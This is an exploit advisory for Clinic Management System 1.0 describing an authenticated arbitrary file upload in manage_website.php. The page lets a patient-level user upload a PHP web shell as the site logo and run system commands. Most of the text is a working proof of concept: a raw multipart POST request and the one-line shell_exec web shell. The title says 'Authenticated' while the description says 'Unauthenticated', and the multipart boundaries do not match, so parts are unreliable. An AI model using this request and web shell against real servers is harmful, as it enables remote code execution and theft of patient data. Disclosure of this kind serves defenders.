Clinic Management System 1.0 - Authenticated Arbitrary File Upload

# Exploit Title: Clinic Management System 1.0 - Authenticated Arbitrary File Upload
# Google Dork: N/A
# Date: 2020-06-02
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/14243/open-source-clinic-management-system-php-full-source-code.html
# Software Link:  https://www.sourcecodester.com/sites/default/files/download/Nikhil_B/clinic-full-source-code-with-database_0.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A

# Vulnerability:
Clinic Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution
(RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file.
# vulnerable file : manage_website.php
# Details:
login to website as patient then access the 'localhost/source%20code/manage_website.php' page, as it does not check for an admin user.
change website logo and upload your malicious php file(<?php echo shell_exec($_GET["cmd"]); ?>). if you see this message "Something Went Wrong" You have successfully uploaded the malicious php file.
path of your file: http://localhost/source%20code/uploadImage/Logo/your_file.php

# Proof of Concept:
http://localhost/source%20code/manage_website.php

POST /source%20code/manage_website.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------135192786613366
Content-Length: 2539
Referer: http://localhost/source%20code/manage_website.php
Cookie: PHPSESSID=qdh5f7kelhhe9uvafveafit5e1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-----------------------------58631544014332: undefined
Content-Disposition: form-data; name="title"

-----------------------------58631544014332
Content-Disposition: form-data; name="short_title"


-----------------------------58631544014332
Content-Disposition: form-data; name="footer"


-----------------------------58631544014332
Content-Disposition: form-data; name="currency_code"


-----------------------------58631544014332
Content-Disposition: form-data; name="currency_symbol"


-----------------------------58631544014332
Content-Disposition: form-data; name="old_website_image"

logo for hospital system.jpg
-----------------------------58631544014332
Content-Disposition: form-data; name="website_image"; filename="shell.php"
Content-Type: application/octet-stream

<?php echo shell_exec($_GET["cmd"]); ?>